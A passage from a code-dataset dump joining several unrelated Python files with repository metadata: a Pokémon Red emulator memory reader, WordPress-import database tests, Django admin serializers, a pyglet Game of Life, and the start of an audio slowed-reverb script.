Quantity\n            0xD336,  # Item 13\n            0xD337,  # Item 13 Quantity\n            0xD338,  # Item 14\n            0xD339,  # Item 14 Quantity\n            0xD33A,  # Item 15\n            0xD33B,  # Item 15 Quantity\n            0xD33C,  # Item 16\n            0xD33D,  # Item 16 Quantity\n            0xD33E,  # Item 17\n            0xD33F,  # Item 17 Quantity\n            0xD340,  # Item 18\n            0xD341,  # Item 18 Quantity\n            0xD342,  # Item 19\n            0xD343,  # Item 19 Quantity\n            0xD344,  # Item 20\n            0xD345,  # Item 20 Quantity\n            0xD346  # Item End of List\n        ]\n\n        bag_items = [self.read_m(addr) for addr in item_addresses]\n        return bag_items\n\n    def read_levels_reward(self):\n        level_sum = self.read_levels_sum()\n        return level_sum\n\n    def read_knn_reward(self):\n        pre_rew = 0.004\n        post_rew = 0.01\n        cur_size = self.knn_index.get_current_count()\n        base = (self.base_explore if self.levels_satisfied else cur_size) * pre_rew\n        post = (cur_size if self.levels_satisfied else 0) * post_rew\n        return base + post\n\n    def read_badges(self):\n        return self.bit_count(self.read_m(0xD356))\n\n    def read_pokemart_items(self):\n        # Specific memory addresses for each item in the Pokemart\n        item_addresses = [\n            0xCF7C,  # Item 1\n            0xCF7D,  # Item 2\n            0xCF7E,  # Item 3\n            0xCF7F,  # Item 4\n            0xCF80,  # Item 5\n            0xCF81,  # Item 6\n            0xCF82,  # Item 7\n            0xCF83,  # Item 8\n            0xCF84,  # Item 9\n            0xCF85  # Item 10\n        ]\n\n        pokemart_items = [self.read_m(addr) for addr in item_addresses]\n        return pokemart_items\n\n    def read_pokemon_in_party(self):\n        # Specific memory addresses for each Pokémon in the party\n        party_addresses = [\n            0xD163,  # Number of Pokémon in party\n            0xD164,  # Pokémon 1\n            0xD165,  # Pokémon 2\n            0xD166,  # Pokémon 3\n            0xD167,  # Pokémon 4\n            0xD168,  # Pokémon 5\n            0xD169  # Pokémon 6\n        ]\n\n        pokemon_party = [self.read_m(addr) for addr in party_addresses]\n        return pokemon_party\n\n    def read_party_exp(self):\n        pokemon_exp = [\n            0xD17B, 0xD1A7, 0xD1D3, 0xD1FF, 0xD22B, 0xD257\n        ]\n\n        return [(self.read_m(addr)) for addr in pokemon_exp]\n\n    def read_pokemon1_stats(self):\n        # Specific memory addresses for various stats of PK1\n        pk1_addresses = [\n            0xD16B,  # Pokémon (Again)\n            0xD16C, 0xD16D,  # Current HP\n            0xD16F,  # Status (Poisoned, Paralyzed, etc.)\n            0xD170,  # Type 1\n            0xD171,  # Type 2\n            0xD173,  # Move 1\n            0xD174,  # Move 2\n            0xD175,  # Move 3\n            0xD176,  # Move 4\n            0xD179, 0xD17A, 0xD17B,  # Experience\n            0xD17C, 0xD17D,  # HP EV\n            0xD17E, 0xD17F,  # Attack EV\n            0xD180, 0xD181,  # Defense EV\n            0xD182, 0xD183,  # Speed EV\n            0xD184, 0xD185,  # Special EV\n            0xD186,  # Attack/Defense IV\n            0xD187,  # Speed/Special IV\n            0xD188,  # PP Move 1\n            0xD189,  # PP Move 2\n            0xD18A,  # PP Move 3\n            0xD18B,  # PP Move 4\n            0xD18C  # Level (actual level)\n        ]\n\n        pk1_stats = [self.read_m(addr) for addr in pk1_addresses]\n        return pk1_stats\n\n    def read_pokemon2_stats(self):\n        # Specific memory addresses for various stats of PK2\n        pk2_addresses = [\n            0xD197,  # Pokémon\n            0xD198, 0xD199,  # Current HP\n            0xD19B,  # Status\n            0xD19C,  # Type 1\n            0xD19D,  # Type 2\n            0xD19F,  # Move 1\n            0xD1A0,  # Move 2\n            0xD1A1,  # Move 3\n            0xD1A2,  # Move 4\n            0xD1A5, 0xD1A6, 0xD1A7,  # Experience\n            0xD1A8, 0xD1A9,  # HP EV\n            0xD1AA, 0xD1AB,  # Attack EV\n            0xD1AC, 0xD1AD,  # Defense EV\n            0xD1AE, 0xD1AF,  # Speed EV\n            0xD1B0, 0xD1B1,  # Special EV\n            0xD1B2,  # Attack/Defense IV\n            0xD1B3,  # Speed/Special IV\n            0xD1B4,  # PP Move 1\n            0xD1B5,  # PP Move 2\n            0xD1B6,  # PP Move 3\n            0xD1B7,  # PP Move 4\n            0xD1B8  # Level (actual)\n        ]\n\n        pk2_stats = [self.read_m(addr) for addr in pk2_addresses]\n        return pk2_stats\n\n    def read_pokemon3_stats(self):\n        # Specific memory addresses for various stats of Pokémon 3\n        pokemon3_addresses = [\n            0xD1C3,  # Pokémon\n            0xD1C4, 0xD1C5,  # Current HP\n            0xD1C6,  # 'Level' (not the actual level, see the notes article)\n            0xD1C7,  # Status\n            0xD1C8,  # Type 1\n            0xD1C9,  # Type 2\n            0xD1CA,  # Catch rate/Held item (When traded to Generation II)\n            0xD1CB,  # Move 1\n            0xD1CC,  # Move 2\n            0xD1CD,  # Move 3\n            0xD1CE,  # Move 4\n            0xD1CF, 0xD1D0,  # Trainer ID\n            0xD1D1, 0xD1D2, 0xD1D3,  # Experience\n            0xD1D4, 0xD1D5,  # HP EV\n            0xD1D6, 0xD1D7,  # Attack EV\n            0xD1D8, 0xD1D9,  # Defense EV\n            0xD1DA, 0xD1DB,  # Speed EV\n            0xD1DC, 0xD1DD,  # Special EV\n            0xD1DE,  # Attack/Defense IV\n            0xD1DF,  # Speed/Special IV\n            0xD1E0,  # PP Move 1\n            0xD1E1,  # PP Move 2\n            0xD1E2,  # PP Move 3\n            0xD1E3,  # PP Move 4\n            0xD1E4,  # Level (actual level)\n            0xD1E5, 0xD1E6,  # Max HP\n            0xD1E7, 0xD1E8,  # Attack\n            0xD1E9, 0xD1EA,  # Defense\n            0xD1EB, 0xD1EC,  # Speed\n            0xD1ED, 0xD1EE  # Special\n        ]\n\n        pokemon3_stats = [self.read_m(addr) for addr in pokemon3_addresses]\n        return pokemon3_stats\n\n    def read_pokemon4_stats(self):\n        # Specific memory addresses for various stats of Pokémon 4\n        pokemon4_addresses = [\n            0xD1EF,  # Pokémon\n            0xD1F0, 0xD1F1,  # Current HP\n            0xD1F2,  # 'Level' (not the actual level, see the notes article)\n            0xD1F3,  # Status\n            0xD1F4,  # Type 1\n            0xD1F5,  # Type 2\n            0xD1F6,  # Catch rate/Held item (When traded to Generation II)\n            0xD1F7,  # Move 1\n            0xD1F8,  # Move 2\n            0xD1F9,  # Move 3\n            0xD1FA,  # Move 4\n            0xD1FB, 0xD1FC,  # Trainer ID\n            0xD1FD, 0xD1FE, 0xD1FF,  # Experience\n            0xD200, 0xD201,  # HP EV\n            0xD202, 0xD203,  # Attack EV\n            0xD204, 0xD205,  # Defense EV\n            0xD206, 0xD207,  # Speed EV\n            0xD208, 0xD209,  # Special EV\n            0xD20A,  # Attack/Defense IV\n            0xD20B,  # Speed/Special IV\n            0xD20C,  # PP Move 1\n            0xD20D,  # PP Move 2\n            0xD20E,  # PP Move 3\n            0xD20F,  # PP Move 4\n            0xD210,  # Level (actual level)\n            0xD211, 0xD212,  # Max HP\n            0xD213, 0xD214,  # Attack\n            0xD215, 0xD216,  # Defense\n            0xD217, 0xD218,  # Speed\n            0xD219, 0xD21A  # Special\n        ]\n\n        pokemon4_stats = [self.read_m(addr) for addr in pokemon4_addresses]\n        return pokemon4_stats\n\n    def read_pokemon5_stats(self):\n        # Specific memory addresses for various stats of Pokémon 5\n        pokemon5_addresses = [\n            0xD21B,  # Pokémon\n            0xD21C, 0xD21D,  # Current HP\n            0xD21E,  # 'Level' (not the actual level, see the notes article)\n            0xD21F,  # Status\n            0xD220,  # Type 1\n            0xD221,  # Type 2\n            0xD222,  # Catch rate/Held item (When traded to Generation II)\n            0xD223,  # Move 1\n            0xD224,  # Move 2\n            0xD225,  # Move 3\n            0xD226,  # Move 4\n            0xD227, 0xD228,  # Trainer ID\n            0xD229, 0xD22A, 0xD22B,  # Experience\n            0xD22C, 0xD22D,  # HP EV\n            0xD22E, 0xD22F,  # Attack EV\n            0xD230, 0xD231,  # Defense EV\n            0xD232, 0xD233,  # Speed EV\n            0xD234, 0xD235,  # Special EV\n            0xD236,  # Attack/Defense IV\n            0xD237,  # Speed/Special IV\n            0xD238,  # PP Move 1\n            0xD239,  # PP Move 2\n            0xD23A,  # PP Move 3\n            0xD23B,  # PP Move 4\n            0xD23C,  # Level (actual level)\n            0xD23D, 0xD23E,  # Max HP\n            0xD23F, 0xD240,  # Attack\n            0xD241, 0xD242,  # Defense\n            0xD243, 0xD244,  # Speed\n            0xD245, 0xD246  # Special\n        ]\n\n        pokemon5_stats = [self.read_m(addr) for addr in pokemon5_addresses]\n        return pokemon5_stats\n\n    def read_pokemon6_stats(self):\n        # Specific memory addresses for various stats of Pokémon 6\n        pokemon6_addresses = [\n            0xD247,  # Pokémon\n            0xD248, 0xD249,  # Current HP\n            0xD24A,  # 'Level' (not the actual level, see the notes article)\n            0xD24B,  # Status\n            0xD24C,  # Type 1\n            0xD24D,  # Type 2\n            0xD24E,  # Catch rate/Held item (When traded to Generation II)\n            0xD24F,  # Move 1\n            0xD250,  # Move 2\n            0xD251,  # Move 3\n            0xD252,  # Move 4\n            0xD253, 0xD254,  # Trainer ID\n            0xD255, 0xD256, 0xD257,  # Experience\n            0xD258, 0xD259,  # HP EV\n            0xD25A, 0xD25B,  # Attack EV\n            0xD25C, 0xD25D,  # Defense EV\n            0xD25E, 0xD25F,  # Speed EV\n            0xD260, 0xD261,  # Special EV\n            0xD262,  # Attack/Defense IV\n            0xD263,  # Speed/Special IV\n            0xD264,  # PP Move 1\n            0xD265,  # PP Move 2\n            0xD266,  # PP Move 3\n            0xD267,  # PP Move 4\n            0xD268,  # Level (actual level)\n            0xD269, 0xD26A,  # Max HP\n            0xD26B, 0xD26C,  # Attack\n            0xD26D, 0xD26E,  # Defense\n            0xD26F, 0xD270,  # Speed\n            0xD271, 0xD272  # Special\n        ]\n\n        pokemon6_stats = [self.read_m(addr) for addr in pokemon6_addresses]\n        return pokemon6_stats\n\n    def read_map_info(self):\n        # Specific memory addresses for various map properties\n        map_addresses = [\n            0xD35B,  # Audio track (See Audio section)\n            0xD35C,  # Audio bank (See Audio section)\n            0xD35D,  # Controls the map's palette. Usually 0, but is set to 6 when Flash is required.\n            0xD35E,  # Current Map Number\n            0xD36A, 0xD36B,  # Map's Data\n            0xD535  # Grass Tile\n        ]\n\n        map_info = [self.read_m(addr) for addr in map_addresses]\n        return map_info\n\n    def read_event_flags(self):\n        # Specific memory addresses for various event flags\n        event_flag_addresses = [\n            # Range for Missable Objects Flags\n            *range(0xD5A6, 0xD5C6),  # Note: This will include every address from D5A6 to D5C5\n            0xD5AB,  # Starters Back?\n            0xD5C0,  # 0=Mewtwo appears, 1=Doesn't (See D85F) - specific bit handling needed\n            0xD5F3,  # Have Town map?\n            0xD60D,  # Have Oak's Parcel?\n            0xD700,  # Bike Speed\n            0xD70B,  # Fly Anywhere Byte 1\n            0xD70C,  # Fly Anywhere Byte 2\n            0xD70D,  # Safari Zone Time Byte 1\n            0xD70E,  # Safari Zone Time Byte 2\n            0xD710,  # Fossilized Pokémon?\n            0xD714,  # Position in Air\n            0xD72E,  # Did you get Lapras Yet?\n            0xD732,  # Debug New Game\n            0xD751,  # Fought Giovanni Yet?\n            0xD755,  # Fought Brock Yet?\n            0xD75E,  # Fought Misty Yet?\n            0xD773,  # Fought Lt. Surge Yet?\n            0xD77C,  # Fought Erika Yet?\n            0xD782,  # Fought Articuno Yet?\n            0xD790,  # If bit 7 is set, Safari Game over - specific bit handling needed\n            0xD792,  # Fought Koga Yet?\n            0xD79A,  # Fought Blaine Yet?\n            0xD7B3,  # Fought Sabrina Yet?\n            0xD7D4,  # Fought Zapdos Yet?\n            0xD7D8,  # Fought Snorlax Yet (Vermilion)\n            0xD7E0,  # Fought Snorlax Yet? (Celadon)\n            0xD7EE,  # Fought Moltres Yet?\n            0xD803,  # Is SS Anne here?\n            0xD85F  # Mewtwo can be caught if bit 2 clear - Needs D5C0 bit 1 clear, too\n        ]\n\n        event_flags = [self.read_m(addr) for addr in event_flag_addresses]\n        return event_flags\n\n    def read_player_battle_statuses(self):\n        # Specific memory addresses for battle statuses and related flags\n        battle_status_addresses = [\n            0xD062,  # Battle Status (Player) - bit-specific statuses\n            0xD063,  # Additional battle statuses - bit-specific statuses\n            0xD064,  # More battle statuses - bit-specific statuses\n            0xD065,  # Stat to double (CPU)\n            0xD066,  # Stat to halve (CPU)\n            0xD067,  # Battle Status (CPU) - bit-specific statuses, part 1\n            0xD068,  # Battle Status (CPU) - bit-specific statuses, part 2\n            0xD069,  # Battle Status (CPU) - \"Transformed\" status, etc.\n            0xD06A,  # Multi-Hit Move counter (Player)\n            0xD06B,  # Confusion counter (Player)\n            0xD06C,  # Toxic counter (Player)\n            0xD06D,  # Disable counter (Player) - first part\n            0xD06E,  # Disable counter (Player) - second part\n            0xD05E,  # Critical Hit / OHKO Flag\n            0xD0D8  # Amount of damage attack is about to do\n        ]\n\n        battle_statuses = [self.read_m(addr) for addr in battle_status_addresses]\n        return battle_statuses\n\n    def read_audio_information(self):\n        # Specific memory addresses for audio tracks and channels\n        audio_addresses = [\n            0xC022,  # Audio track channel 1\n            0xC023,  # Audio track channel 2\n            0xC024,  # Audio track channel 3\n            0xC025,  # Audio track channel 4\n            0xD35B,  # Audio track in current map\n            0xD35C  # Audio bank in current map\n        ]\n\n        audio_status = [self.read_m(addr) for addr in audio_addresses]\n        return audio_status\n\n    def read_opponent_battle_status(self):\n        # Specific memory addresses for enemy's status in battle\n        enemy_battle_addresses = [\n            0xCFEA,  # Enemy's Type 1\n            0xCFEB,  # Enemy's Type 2\n            0xCFF3,  # Enemy's Level\n            0xD8A4,  # Pokémon\n            0xD8A5,  # Current HP (first part)\n            0xD8A6,  # Current HP (second part)\n            0xD8A8,  # Status\n            0xD8A9,  # Type 1\n            0xD8AA,  # Type 2\n            0xD8B0,  # Trainer ID (first part)\n            0xD8B1  # Trainer ID (second part)\n        ]\n\n        enemy_status = [self.read_m(addr) for addr in enemy_battle_addresses]\n        return enemy_status\n\n    def read_owned_pokedex_entries(self):\n        # Specific memory addresses for Pokedex entries\n        pokedex_addresses = [\n            # Owned Pokémon entries\n            0xD2F7, 0xD2F8, 0xD2F9, 0xD2FA, 0xD2FB, 0xD2FC, 0xD2FD, 0xD2FE, 0xD2FF,\n            0xD300, 0xD301, 0xD302, 0xD303, 0xD304, 0xD305, 0xD306, 0xD307, 0xD308,\n            0xD309,\n        ]\n\n        pokedex_entries = [self.bit_count((self.read_m(addr))) for addr in pokedex_addresses]\n        return pokedex_entries\n\n    def read_seen_pokedex_entries(self):\n        # Specific memory addresses for Pokedex entries\n        pokedex_addresses = [\n            # Seen Pokémon entries\n            0xD30A, 0xD30B, 0xD30C, 0xD30D, 0xD30E, 0xD30F, 0xD310, 0xD311, 0xD312,\n            0xD313, 0xD314, 0xD315, 0xD316, 0xD317, 0xD318, 0xD319, 0xD31A, 0xD31B,\n            0xD31C\n        ]\n\n        pokedex_entries = [self.read_m(addr) for addr in pokedex_addresses]\n        return pokedex_entries\n\n    def read_battle_modifiers(self):\n        # Specific memory addresses for Battle stats\n        battle_addresses = [\n            0xCCD5,  # Number of turns in current battle\n            0xCCEE,  # Player move that the enemy disabled\n            0xCCEF,  # Enemy move that the player disabled\n            0xCD2F,  # Enemy's Pokémon Defense modifier\n            0xCD30,  # Enemy's Pokémon Speed modifier\n            0xCD31,  # Enemy's Pokémon Special modifier\n            0xCD32,  # Enemy's Pokémon Accuracy modifier\n            0xCD33,  # Enemy's Pokémon Evasion modifier\n            0xCD1B,  # Player's Pokémon Defense modifier\n            0xCD1C,  # Player's Pokémon Speed modifier\n            0xCD1D,  # Player's Pokémon Special modifier\n            0xCD1E,  # Player's Pokémon Accuracy modifier\n            0xCD1F  # Player's Pokémon Evasion modifier\n        ]\n\n        battle_stats = [self.read_m(addr) for addr in battle_addresses]\n        return battle_stats\n\n    def read_game_time(self):\n        # Read the memory addresses\n        hours = self.read_m(0xDA40) + (self.read_m(0xDA41))  # Assuming read_m reads a single byte and big-endian\n        minutes = self.read_m(0xDA42) + (self.read_m(0xDA43))\n        seconds = self.read_m(0xDA44)  # Single byte\n        frames = self.read_m(0xDA45)  # Single byte\n\n        # Construct a dictionary to hold the time components\n        game_time = {\n            'hours': hours,\n            'minutes': minutes,\n            'seconds': seconds,\n            'frames': frames,\n        }\n\n        return game_time\n\n    def read_current_map_instance(self):\n        map_instance_addresses = [\n            0xD362,  # Player's X Coords\n            0xD361,  # Player's Y Coords\n            0xD35E,  # Current Map Number\n        ]\n\n        current_map_instance = [self.read_m(addr) for addr in map_instance_addresses]\n        return current_map_instance\n\n    def read_m(self, addr):\n        return MemoryAddresses.pyboy.get_memory_value(addr)\n","repo_name":"Xaoilin/ai-plays-pokemon-red","sub_path":"baselines/memory_addresses.py","file_name":"memory_addresses.py","file_ext":"py","file_size_in_byte":21060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8782054848","text":"from test_base import BaseTestCase\nfrom db_mgt.setup import create_session, get_engine\nfrom ssfl.sysadmin import db_import_pages as dip\n\n\nclass TestImportPages(BaseTestCase):\n    def test_get_fields_from_table(self):\n        db_session = create_session(get_engine())\n        try:\n            mgr = dip.ImportPageData(db_session)\n            fields = mgr.get_table_fields('wp_posts')\n            self.assertEqual(len(fields), 23, 'Wrong number of fields returned')\n        except Exception as e:\n            pass\n        finally:\n            db_session.close()\n\n    def test_get_data_from_table(self):\n        db_session = create_session(get_engine())\n        try:\n            result = [556249, 594898, 752117, 862560, 927048, 1145506, 1286624, 965505, 1418183, 1416174, 1464464,\n                      1401920, 1542798, 1543851, 1631668, 14, 21, 24, 45, 157, 159, 163, 165, 167, 279, 282, 396, 811,\n                      1028, 1038, 1548, 2881, 3309, 3930, 5360, 5603, 7365, 8503, 8797, 8800, 8941, 8949, 8951, 8953,\n                      8955, 8971, 12321, 14891, 16731, 17245]\n            count = 50\n            res_list = []\n            mgr = dip.ImportPageData(db_session)\n            for res in mgr.get_wp_post_data():\n                for x, y in res:\n                    res_list.append(y)\n                    break\n                count -= 1\n                if not count:\n                    break\n            self.assertEqual(res_list, result, 'Incorrect page found in last 50 pages')\n        finally:\n            db_session.close()\n\n    def test_get_username(self):\n        db_session = create_session(get_engine())\n        try:\n            mgr = dip.ImportPageData(db_session)\n            user = mgr.get_author(1)\n            self.assertEqual(user, 'Don Oxley', 'Get username fails')\n        finally:\n            db_session.close()\n\n    def test_get_pagename(self):\n        db_session = create_session(get_engine())\n        try:\n            mgr = dip.ImportPageData(db_session)\n            guid = mgr.get_row_from_id(143)[18]\n            pagename = mgr.get_page_slug(guid)\n            self.assertEqual(pagename, 'wp', 'Get username fails')\n        finally:\n            db_session.close()\n\n    def test_current_revision(self):\n        db_session = create_session(get_engine())\n        try:\n            mgr = dip.ImportPageData(db_session)\n            max_page = mgr.find_most_recent_revision(1054470)\n            self.assertEqual(max_page, 1056082, 'Retrieved most recent page')\n        finally:\n            db_session.close()\n\n    def test_import_page(self):\n        db_session = create_session(get_engine())\n        try:\n            mgr = dip.ImportPageData(db_session)\n            max_page = mgr.find_most_recent_revision(1542798)\n            page_row = mgr.get_row_from_id(max_page)\n            mgr.import_page(page_row)\n        finally:\n            db_session.close()\n\n    def test_import_all_pages(self):\n        db_session = create_session(get_engine())\n        dummy_page_name = 'page-dummy-{}'\n        dummy_count = 0\n        try:\n            mgr = dip.ImportPageData(db_session)\n            field_post_name = mgr.get_field_index('post_name', 'wp_posts')\n            for page_row in mgr.get_wp_post_data():\n                pr = [x for x in page_row]\n                if not pr[field_post_name]:\n                    pr[field_post_name] = dummy_page_name.format(dummy_count)\n                    dummy_count += 1\n                mgr.import_page(pr)\n        finally:\n            db_session.close()\n\n\n\n","repo_name":"donox/ssflask2","sub_path":"ssfl/sysadmin/tests/test_import_pages.py","file_name":"test_import_pages.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"22676233024","text":"from rest_framework import serializers\nfrom rest_framework.serializers import Serializer\nfrom djoser.serializers import UserSerializer\n\nfrom apps.adminka.models import News\nfrom apps.payments.serializers import UserServicePlanPaymentSerializer\nfrom apps.user.models import User\n\n\nclass NewsSerializer(serializers.ModelSerializer):\n    admin = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n    class Meta:\n        model = News\n        fields = ('id','title', 'body', 'is_published', 'admin', 'publish_date')\n\n\nclass AdminUserList(serializers.ModelSerializer):\n    user_type = serializers.SerializerMethodField()\n    fio_company_name = serializers.SerializerMethodField()\n    iin_bin = serializers.SerializerMethodField()\n    active_payment = serializers.SerializerMethodField()\n\n    class Meta:\n        model = User\n        fields = ('user_type',\n                  'id',\n                  'fio_company_name',\n                  'phone_number',\n                  'email',\n                  'iin_bin',\n                  'is_active',\n                  'spent_balance',\n                  'date_joined',\n                  'active_payment')\n\n    def get_user_type(self, obj):\n        if hasattr(obj, 'individual_user'):\n            return 'individual_user'\n        if hasattr(obj, 'juridical_user'):\n            return 'juridical_user'\n\n    def get_active_payment(self, obj):\n        if hasattr(obj, 'service_plan_payments'):\n            last_payment = obj.service_plan_payments.order_by('created').last()\n            return UserServicePlanPaymentSerializer(last_payment).data\n\n    def get_fio_company_name(self, obj):\n        if hasattr(obj, 'individual_user'):\n            return obj.fio\n        if hasattr(obj, 'juridical_user'):\n            return obj.juridical_user.company_name\n\n    def get_iin_bin(self, obj):\n        if hasattr(obj, 'individual_user'):\n            return obj.individual_user.iin\n        if hasattr(obj, 'juridical_user'):\n            return obj.juridical_user.bin\n\n\nclass AdminDetailUserSerializer(UserSerializer):\n    payment_log = serializers.SerializerMethodField()\n    user_type = serializers.SerializerMethodField()\n\n    class Meta:\n        model = User\n        fields = tuple(User.REQUIRED_FIELDS) + (\n            'id',\n            'email',\n            'balance',\n            'spent_balance',\n            'is_admin',\n            'date_joined',\n            'is_active',\n            'payment_log',\n            'user_type'\n        )\n\n    def get_payment_log(self, obj):\n        if hasattr(obj, 'payment_log'):\n            success_payment_log_list = obj.payment_log.filter(status='success').values()\n            if len(success_payment_log_list) > 0:\n                return success_payment_log_list[0]\n        return None\n\n    def get_user_type(self, obj):\n        if hasattr(obj, 'juridical_user'):\n            return 'juridical'\n        if hasattr(obj, 'individual_user'):\n            return 'individual'\n\n\nclass UpdateUserStatus(Serializer):\n    is_active = serializers.BooleanField(default=True)\n","repo_name":"dmk-one/analytics_assistant_demo","sub_path":"apps/adminka/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12561486086","text":"import random\nimport pyglet\n\n\nclass Game:\n    black = 'c3B', (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)\n    green = 'c3B', (0, 255, 0, 0, 255, 0, 0, 255, 0, 0, 255, 0)\n    graph = [black, green]\n\n    def _gen_cell_values(self):\n        cx, cy = self.data[\"n cells\"]\n        cells = []\n        for i in range(cx):\n            newl = []\n            for j in range(cy):\n                life = 0\n                prev = 0\n                neighb = [(i - 1, j), (i + 1, j), (i, j - 1), (i, j + 1),\n                          (i - 1, j + 1), (i - 1, j - 1), (i + 1, j + 1), (i + 1, j - 1)]\n                excl = []\n                if i == 0:\n                    excl.append((i - 1, j))\n                    excl.append((i - 1, j - 1))\n                    excl.append((i - 1, j + 1))\n                elif i == cx - 1:\n                    excl.append((i + 1, j))\n                    excl.append((i + 1, j - 1))\n                    excl.append((i + 1, j + 1))\n                if j == 0:\n                    excl.append((i, j - 1))\n                    excl.append((i - 1, j - 1))\n                    excl.append((i + 1, j - 1))\n                elif j == cy - 1:\n                    excl.append((i, j + 1))\n                    excl.append((i - 1, j + 1))\n                    excl.append((i + 1, j + 1))\n                excl = set(excl)\n                for k in excl:\n                    neighb.remove(k)\n                neighb = tuple(neighb)\n                newl.append({\"status\": life, \"previous\": prev, \"pos\": neighb})\n            cells.append(newl)\n        self.data[\"cells\"] = cells\n\n    def _gen_cell_graph(self):\n        cx, cy = self.data[\"n cells\"]\n        cw, ch = self.data[\"cell dim\"]\n        for i in range(cx):\n            for j in range(cy):\n                x1, x2 = i * cw, (i + 1) * cw\n                y1, y2 = j * ch, (j + 1) * ch\n                quad = (x1, y1, x1, y2, x2, y2, x2, y1)\n                # vlb = pyglet.graphics.vertex_list(4, ('v2f', quad), self.black)\n                # vlg = pyglet.graphics.vertex_list(4, ('v2f', quad), self.green)\n                # self.data[\"cells\"][i][j][\"vertex\"] = (vlb, vlg)\n                self.data[\"cells\"][i][j][\"g pos\"] = quad\n\n    def __init__(self, w, h, cx, cy):\n        \"\"\"\n        w = window width\n        h = window height\n        cx = cells per column\n        cy = cells per row\n        \"\"\"\n        self.data = {\"win dim\": (w, h), \"cell dim\": (int(w / cx), int(h / cy)),\n                     \"n cells\": (cx, cy), \"frame\": 0}\n        self._gen_cell_values()\n        self._gen_cell_graph()\n\n    def changecell(self, cell, value):\n        i, j = cell\n        self.data[\"cells\"][i][j][\"status\"] = value\n        self.data[\"cells\"][i][j][\"previous\"] = value\n\n    def random(self, weight=0.5):\n        cells = self.data[\"cells\"]\n        for i in range(len(cells)):\n            for j in range(len(cells[i])):\n                seed = random.random()\n                cells[i][j][\"status\"] = 0\n                cells[i][j][\"previous\"] = 0\n                if seed > weight:\n                    cells[i][j][\"status\"] = 1\n                    cells[i][j][\"previous\"] = 1\n\n    def _first_frame(self):\n        batch = pyglet.graphics.Batch()\n        for i in self.data[\"cells\"]:\n            for j in i:\n                quad = j[\"g pos\"]\n                stat = j[\"status\"]\n                # vert = j[\"vertex\"][stat]\n                color = self.graph[stat]\n                batch.add(4, pyglet.gl.GL_QUADS, None, ('v2f', quad), color)\n                # vert.draw(pyglet.gl.GL_QUADS)\n                # pyglet.graphics.draw(4, pyglet.gl.GL_QUADS, ('v2f', quad), color)\n        batch.draw()\n\n    def _update_status(self):\n        cells = self.data[\"cells\"]\n        for i in range(len(cells)):\n            for j in range(len(cells[i])):\n                neighb = 0\n                status = cells[i][j][\"status\"]\n                for k in cells[i][j][\"pos\"]:\n                    neighb += cells[k[0]][k[1]][\"previous\"]\n                new_status = 0\n                if status:\n                    if 2 <= neighb < 4:\n                        new_status = 1\n                else:\n                    if neighb == 3:\n                        new_status = 1\n                cells[i][j][\"status\"] = new_status\n\n    def _draw_cells(self):\n        batch = pyglet.graphics.Batch()\n        for i in self.data[\"cells\"]:\n            for j in i:\n                stat = j[\"status\"]\n                # vert = j[\"vertex\"][stat]\n                color = self.graph[stat]\n                quad = j[\"g pos\"]\n                if stat == 1:\n                    batch.add(4, pyglet.gl.GL_QUADS, None,\n                              ('v2f', quad), color)\n                    # vert.draw(pyglet.gl.GL_QUADS\n        batch.draw()\n\n    def newframe(self):\n        cells = self.data[\"cells\"]\n        self._update_status()\n        self._draw_cells()\n        for i in range(len(cells)):\n            for j in range(len(cells[i])):\n                cells[i][j][\"previous\"] = cells[i][j][\"status\"]\n        self.data[\"frame\"] += 1\n\n\ndef draw(dt, func, win):\n    win.clear()\n    func()\n\n\ndef main():\n    w, h = 1000, 1000\n    cx, cy = 100, 100\n    cp = \"Game of Life\"\n    game = Game(w, h, cx, cy)\n    game.random(0.5)\n    win = pyglet.window.Window(w, h, visible=False, caption=cp, vsync=0)\n    d_time = 1.0 / 20\n    win.set_visible()\n    pyglet.clock.schedule_interval(draw, d_time, game.newframe, win)\n    pyglet.app.run()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Thomas-Bolstad/Portfolio","sub_path":"Diverse/GameOfLife.py","file_name":"GameOfLife.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19739985199","text":"#!/usr/bin/env python\n#===============================================================================\n# Author: Will Fenton\n# Date: October 17 2019\n#===============================================================================\n\nfrom pysndfx import AudioEffectsChain\nimport moviepy.editor as mp\n\nimport os\nimport sys\nimport math\nimport getopt\n\n#===============================================================================\n\ndef print_usage():\n    sys.stderr.write(\n\"\"\"Usage: python3 slowed-reverb.py [options]\nOptions:\n    (-a | --audio)         <audio file>   the audio file to use\n    (-g | --gif)           <gif file>     the gif to loop\n    (-o | --output-path)   <path>         where to save the output\n    (-h | --help)                         display this message\nExample: python3 slowed-reverb.py -a song.mp3 -g video.gif -o slowed-reverb.mp4\n\"\"\")\n\ndef main():\n    # quit if no arguments provided\n    if len(sys.argv) == 1:\n        print_usage()\n        sys.exit(1)\n\n    # read options\n    try:\n        options = \"a:g:o:h\"\n        longOptions = [\"audio=\", \"gif=\", \"output-path=\", \"help\"]\n        opts, args = getopt.getopt(sys.argv[1:], options, longOptions)\n    except getopt.GetoptError:\n        print_usage()\n        sys.exit(1)\n\n    audio_path = \"\"\n    gif_path = \"\"\n    output_path = \"output/slowed-reverb.mp4\"\n\n    # parse options\n    for o, v in opts:\n        if o in (\"-a\", \"--audio\"):\n            audio_path = v\n        if o in (\"-g\", \"--gif\"):\n            gif_path = v\n        if o in (\"-o\", \"--output-path\"):\n            output_path = v\n        if o in (\"-h\", \"--help\"):\n            print_usage()\n            sys.exit()\n\n    # make sure audio and gif are provided\n    if audio_path == \"\":\n        raise Exception(\"Need to specify an audio file.\")\n    if gif_path == \"\":\n        raise Exception(\"Need to specify a gif\")\n\n    # make output directory\n    try:\n        os.mkdir(\"output\")\n    except FileExistsError:\n        pass\n\n    # chain of effects to apply to the audio\n    fx = (\n        AudioEffectsChain()\n        .speed(0.9)\n        .reverb()\n    )\n\n    # path to temporarily store the audio\n    temp_audio_path = \"output/temp.mp3\"\n\n    print(\"Processing audio...\")\n\n    # apply the effects, save file\n    fx(audio_path, 